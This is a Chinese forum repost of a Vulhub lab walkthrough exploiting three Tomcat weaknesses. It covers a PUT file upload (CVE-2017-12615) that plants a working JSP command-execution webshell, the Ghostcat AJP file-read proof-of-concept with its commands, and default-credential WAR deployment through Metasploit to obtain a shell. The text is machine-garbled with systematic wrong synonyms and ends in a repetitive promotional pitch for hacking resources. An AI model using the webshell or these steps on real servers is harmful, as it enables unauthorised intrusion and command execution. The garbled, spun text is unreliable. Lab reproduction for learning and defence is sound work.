中心件安全—Tomcat常见毛病

打印 上一主题 下一主题

主题 868|帖子 868|积分 2614

中心件安全—Tomcat常见毛病



  • 1.Tomcat常见毛病
    1. * 1.1.前言
    复制代码

    • 1.2.文件上传 (CVE-2017-12615)
      1.   * 1.2.1.漏洞原理
      复制代码

      • 1.2.2.影响版本
      • 1.2.3.毛病复现
        1.     * 1.2.3.1.测试是否允许PUT
        复制代码

        • 1.2.3.2.验证毛病是否存在
        • 1.2.3.3.访问test.jsp
        • 1.2.3.4.上传执行命令脚本
        • 1.2.3.5.执行命令


    • 1.3.文件包罗毛病(CVE-2020-1938)
      1.   * 1.3.1.漏洞原理
      复制代码

      • 1.3.2.影响版本
      • 1.3.3.毛病复现
        1.     * 1.3.3.1.访问页面
        复制代码

        • 1.3.3.2.POC下载
        • 1.3.3.3.POC验证


    • 1.4.弱口令&war远程摆设
      1.   * 1.4.1.漏洞原理
      复制代码

      • 1.4.2.影响版本
      • 1.4.3.毛病复现
        1.     * 1.4.3.1.访问后台
        复制代码

        • 1.4.3.2.背景管理
        • 1.4.3.3.进入模块
        • 1.4.3.4.获取shell



1.Tomcat常见毛病

1.1.媒介

整个复现情况均使用Vulhub一键搭建毛病测试靶场,Vulhub靶场:链接
1.2.文件上传 (CVE-2017-12615)

1.2.1.毛病原理

Tomcat配置文件/conf/web.xml
配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将经心构造的payload向服务器上传包罗任意代码的 JSP
文件。之后,JSP 文件中的代码将能被服务器执行。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/b6567aebf8264ef48fb234fe9b332e63.png#pic_center)
1.2.2.影响版本

Apache Tomcat 7.0.0 – 7.0.81
1.2.3.毛病复现

1.2.3.1.测试是否答应PUT

这里修改请求方式为OPTIONS /xx HTTP/1.1,通过修改后发现答应PUT方法。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/af6b6a25454a480c8227a82eee7c1e8b.png#pic_center)
1.2.3.2.验证毛病是否存在

这里修改请求方式为:PUT /test.jsp/ HTTP/1.1,请求体为:<%out.print(“hacker”); %>,然后访问test.jsp。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/29e5d365aee64a09a2334c6f42674a0b.png#pic_center)
1.2.3.3.访问test.jsp

  1. URL:http:ip地址:端口/test.jsp
复制代码
![在这里插入图片描述](https://img-
blog.csdnimg.cn/a4bf394353d84a29bec46b7a9a4387cd.png#pic_center)
1.2.3.4.上传执行命令脚本

修改请求头PUT /test.jsp/ HTTP/1.1,修改请求体。
  1. 请求体:
  2. <%
  3.     if("123".equals(request.getParameter("pwd"))){
  4.         java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
  5.         int a = -1;         
  6.         byte[] b = new byte[1024];         
  7.         out.print("<pre>");         
  8.         while((a=in.read(b))!=-1){
  9.             out.println(new String(b));         
  10.         }
  11.         out.print("</pre>");
  12.     }
  13. %>
复制代码
![在这里插入图片描述](https://img-
blog.csdnimg.cn/4b4e8cf4a6b24ec99b04d9cdb87f356e.png#pic_center)
1.2.3.5.执行命令

  1. http://ip地址:8080/test.jsp?&pwd=123&cmd=ls
复制代码
![在这里插入图片描述](https://img-
blog.csdnimg.cn/ee41e1d4b88b4ec1afd8d42ff662e737.png#pic_center)
1.3.文件包罗毛病(CVE-2020-1938)

1.3.1.毛病原理

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP
:HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP
协议的请求,而AJP比http更加优化,多用于反向、集群等,毛病由于Tomcat
AJP协议存在缺陷而导致,攻击者利用该毛病可通过构造特定参数,读取服务器webapp下的任意文件以及可以包罗任意文件,假如有某上传点,上传图片马等等,即可以获取shell。
1.3.2.影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
开启了8009端口的ajp服务
1.3.3.毛病复现

1.3.3.1.访问页面

访问http://your-ip:8080即可检察tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/0a54f18709474de28851d85e792561ad.png#pic_center)
1.3.3.2.POC下载

POC链接:链接
当然你也可以在kali中使用命令进行下载,检测等,不外我这里由于网络缘故原由一直下载不下来,我就用本机下载再上传虚拟机了。
  1. 命令:
  2. git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi  
  3. cd CNVD-2020-10487-Tomcat-Ajp-lfi  
  4. python CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2环境  
复制代码
![在这里插入图片描述](https://img-
blog.csdnimg.cn/c4ce409e72c14c4aab8fd9cc23a3b9a5.png#pic_center)
1.3.3.3.POC验证

这里检察8009端口下的web.xml文件
  1. 命令:python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py IP地址 -p 8009 -f /WEB-INF/web.xml
复制代码
![在这里插入图片描述](https://img-
blog.csdnimg.cn/8031b589c5f644dda50250adc472c100.png#pic_center)
1.4.弱口令&war远程摆设

1.4.1.毛病原理

在tomcat8情况下默认进入背景的暗码为tomcat/tomcat,未修改造成未授权即可进入背景。
1.4.2.影响版本

全版本
1.4.3.毛病复现

1.4.3.1.访问背景

这里首先需要先访问背景管理。
  1. http://ip地址:8080/manager/html
复制代码
![在这里插入图片描述](https://img-
blog.csdnimg.cn/1f62dc1e687e4f82bde788f35a9de35c.png#pic_center)
1.4.3.2.背景管理

在背景有一个上传war包的地方,这里就是我们用来上传木马的地方,这里我没准备jsp马,我使用msf来进行操纵吧。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/fc9e45c948cc4f1f8c50f24fbe286779.png#pic_center)
1.4.3.3.进入模块

进入msf里面的exploit/multi/http/tomcat_mgr_upload模块。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/d079edb537124e989d6db3bf5c78c5dd.png#pic_center)
1.4.3.4.获取shell

我这边由于使用云服务器,存在反弹的端口不通,大概被拦截了,以是就没有反弹回来。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/0f361093a5be4d5dbcdd81ff995fd9b6.png#pic_center)
题外话

初入计算机行业的人大概大学计算机相关专业毕业生,许多因缺少实战经验,就业到处碰钉子。下面我们来看两组数据:
2023届全国高校毕业生预计到达1158万人,就业形势严肃;
国家网络安全宣传周公布的数据表现,到2027年我国网络安全职员缺口将达327万。
一方面是每年应届毕业生就业形势严肃,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包罗《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。此中,本科计算机类专业起薪与2021届根本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均到达了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳固至关重要的因素之一。
网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年造就的职员不到1.5W人。猎聘网《2021年上半年网络安全报告》猜测2027年网安人才需求300W,现在从事网络安全行业的从业职员只有10W人。

行业发展空间大,岗位非常多
网络安全行业财产以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、劫难规复专业职员、实战攻防专业职员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是把握工作中的焦点网络架构、安全技术,在职业发展上具有不可更换的竞争优势。
随着个人本领的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一起看涨,这也是为什么受大家欢迎的主要缘故原由。
从某种水平来讲,在网络安全领域,跟大夫职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到器重,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习门路图

行业发展空间大,岗位非常多
网络安全行业财产以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、劫难规复专业职员、实战攻防专业职员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是把握工作中的焦点网络架构、安全技术,在职业发展上具有不可更换的竞争优势。
随着个人本领的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一起看涨,这也是为什么受大家欢迎的主要缘故原由。
从某种水平来讲,在网络安全领域,跟大夫职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到器重,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习门路图


攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的门路图,假如你能学完它们,你去就业和接私活完全没有问题。
2.视频教程

网上虽然也有许多的学习资源,但根本上都残缺不全的,这是我自己录的网安视频教程,上面门路图的每一个知识点,我都有配套的视频解说。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、毛病详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
3.技术文档和电子书

技术文档也是我自己整理的,包罗我参加大型网安行动、CTF和挖SRC毛病的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要会合在 信息网络、Android黑客工具、自动化工具、网络钓鱼等,感爱好的同砚不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
这些标题都是大家在面试深信服、奇安信、腾讯大概其它大厂面试时经常遇到的,假如大家有好的标题大概好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清楚,含图像化表现更加易懂。
内容概要:包罗 内网、操纵系统、协议、渗透测试、安服、毛病、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包罗、XXE、逻辑毛病、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
假如你对网络安全入门感爱好,那么你需要的话可以点击这里

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

篮之新喜

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表